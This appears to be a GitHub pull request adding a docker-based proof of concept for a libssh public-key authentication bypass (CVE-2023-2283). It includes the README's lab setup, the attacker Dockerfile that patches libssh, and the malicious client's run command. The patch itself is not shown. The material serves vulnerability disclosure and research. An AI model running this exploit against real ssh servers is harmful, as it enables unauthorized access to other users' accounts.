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PoC for libssh CVE-2023-2283 #763
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kevinbackhouse:libssh-pubkey-auth-bypass-CVE-2023-2283
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104
SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/README.md
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# Public key authentication bypass in libssh (CVE-2023-2283) | ||
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[CVE-2023-2283](https://securitylab.github.com/advisories/GHSL-2023-085_libssh/) | ||
is an authentication bypass vulnerability in | ||
[libssh](https://www.libssh.org/), which, under certain conditions, may | ||
enable a remote attacker to gain unauthorized access to another user’s | ||
account via ssh login. | ||
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This demo uses docker to simulate two computers, named "libssh-server" | ||
and "libssh-attacker". On libssh-server, we run `ssh_server_pthread`, | ||
which is a simple ssh server application that is [included as an | ||
example](https://gitlab.com/libssh/libssh-mirror/-/blob/e8322817a9e5aaef0698d779ddd467a209a85d85/examples/ssh_server.c) | ||
with the libssh source code. The server is configured to allow public | ||
key authentication with an ED25519 key, but the attacker does not know the | ||
private key. The attacker instead authenticates by triggering the vulnerability. | ||
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The vulnerability is triggered when `ssh_server_pthread` hits an | ||
out-of-memory condition at precisely the right moment. If libssh is | ||
running on a 64-bit server with plenty of RAM then it is very unlikely | ||
that an attacker will be able to generate enough memory pressure to | ||
cause an out-of-memory error, which means that the vulnerability is | ||
unlikely to be exploitable. The goal of this demo is, instead, to show | ||
that the vulnerability is exploitable if libssh is running in a | ||
memory-constrained environment such as a [memory-constrained | ||
container](https://docs.docker.com/config/containers/resource_constraints/), | ||
which we believe is a realistic scenario for a real-life libssh deployment. | ||
The demo uses `ulimit` to set a 256MB memory limit on the ssh server. | ||
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## Network setup | ||
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Create a docker network bridge, to simulate a network with two separate computers. | ||
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``` | ||
docker network create -d bridge --subnet 172.18.0.0/16 libssh-demo-network | ||
``` | ||
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## Server setup | ||
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Build the docker image: | ||
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``` | ||
docker build server -t libssh-server --build-arg UID=`id -u` | ||
``` | ||
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Start the container: | ||
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``` | ||
docker run --rm --network libssh-demo-network --ip=172.18.0.10 -it libssh-server | ||
``` | ||
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If you want to be able to debug the libssh server, then you need to start the container with some extra command line arguments: | ||
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``` | ||
docker run --rm --network libssh-demo-network --ip=172.18.0.10 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -it libssh-server | ||
``` | ||
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Inside the container, run these commands to create ssh keys for the server: | ||
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``` | ||
mkdir ~/testkeys | ||
ssh-keygen -P "" -t ecdsa -f ~/testkeys/id_ecdsa | ||
ssh-keygen -P "" -t rsa -f ~/testkeys/id_rsa | ||
``` | ||
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Start the server: | ||
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``` | ||
ulimit -v 262144 # 256MB | ||
~/libssh/build/examples/ssh_server_pthread -p 2022 -r ~/testkeys/id_rsa -e ~/testkeys/id_ecdsa -a ~/.ssh/authorized_keys 0.0.0.0 | ||
``` | ||
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Note: ssh servers normally listen on port 22, but root privileges are required to listen on 22, so this demo uses port 2022 instead. Use `sudo` if you want to change the port number to 22. The `sudo` password in this docker container is "x". | ||
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## Attacker setup | ||
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Build the docker image: | ||
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``` | ||
docker build attacker -t libssh-attacker --build-arg UID=`id -u` | ||
``` | ||
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Start the container: | ||
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``` | ||
docker run --rm --network libssh-demo-network --ip=172.18.0.11 -it libssh-attacker | ||
``` | ||
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If you want to be able to debug the client, then you need to start the container with some extra command line arguments: | ||
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``` | ||
docker run --rm --network libssh-demo-network --ip=172.18.0.11 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -it libssh-attacker | ||
``` | ||
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The attacker uses a modified version of libssh. The modifications are in the file named `diff.txt` and are applied during the `docker build` step. | ||
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Run the malicious client like this: | ||
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``` | ||
~/libssh/build/examples/ssh-client -p 2022 victim@172.18.0.10 ~/id_ed25519.pub | ||
``` | ||
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The vulnerability is triggered when the ssh server has an out-of-memory error at the exact right moment, which means that the PoC is unreliable. It runs in a loop until it's successful, which can often take several minutes. You may also need to run several instance of the PoC simultaneously to generate enough memory pressure on the server. I suggest using `tmux` to open three terminals and start 3 instances of the PoC. When one of the PoCs succeeds, it creates a file named "success.txt", which notifies the other instances that they should stop. | ||
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Note: the PoC sometimes accidentally triggers a SIGSEGV in the server due to an unrelated [null-pointer dereference bug](https://gitlab.com/libssh/libssh-mirror/-/merge_requests/381). If this happens, you will need to restart the `ssh_server_pthread` process. |
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SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/Dockerfile
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FROM ubuntu:22.04 | ||
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ENV DEBIAN_FRONTEND=noninteractive | ||
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RUN apt-get update && \ | ||
apt-get install -y \ | ||
sudo tmux emacs git gdb cmake build-essential net-tools psmisc \ | ||
libssl-dev zlib1g-dev libkrb5-dev libkrb5-dbg | ||
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ARG UID=1000 | ||
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# Create a non-root user account to run libssh. | ||
RUN adduser attacker --disabled-password --uid $UID | ||
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# Grant the 'attacker' user sudo access. This is not used for the demo, | ||
# but it is often handy for installing extra packages. | ||
RUN adduser attacker sudo | ||
RUN echo "attacker:x" | chpasswd | ||
COPY home/ /home/attacker/ | ||
RUN chown -R attacker:attacker /home/attacker | ||
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# Switch over to the 'attacker' user, since root access is no longer required | ||
USER attacker | ||
WORKDIR /home/attacker | ||
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# Clone and build libssh v0.10.4 | ||
RUN git clone https://git.libssh.org/projects/libssh.git && \ | ||
cd libssh && \ | ||
git checkout e8322817a9e5aaef0698d779ddd467a209a85d85 && \ | ||
git apply ~/diff.txt && \ | ||
mkdir build && cd build && \ | ||
cmake .. && \ | ||
make -j $(nproc) | ||
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USER attacker |
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SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/.bash_history
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~/libssh/build/examples/ssh-client -p 2022 victim@172.18.0.10 ~/id_ed25519.pub |
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SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/.tmux.conf
FB1F
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# Enable 256 colors | ||
set -g default-terminal "screen-256color" | ||
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# Enable using the mouse to switch windows. | ||
set -g mouse on | ||
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# Don't lose track of SSH_AGENT etc. from parent environment. | ||
set -g update-environment -r | ||
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# history buffer size | ||
set-option -g history-limit 100000 |
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Do we need this?
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It's not essential for the PoC, if that's what you mean! 🤣
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This
.tmux.conf
file is part of my debugging setup. Makes it slightly more pleasant to debug inside a docker container. There's quite a few other remnants of my debugging setup that I've not removed from this PoC. For example, it's still littered with my debugprintf
s. I decided to leave them in this time for that authentic feel. 🤣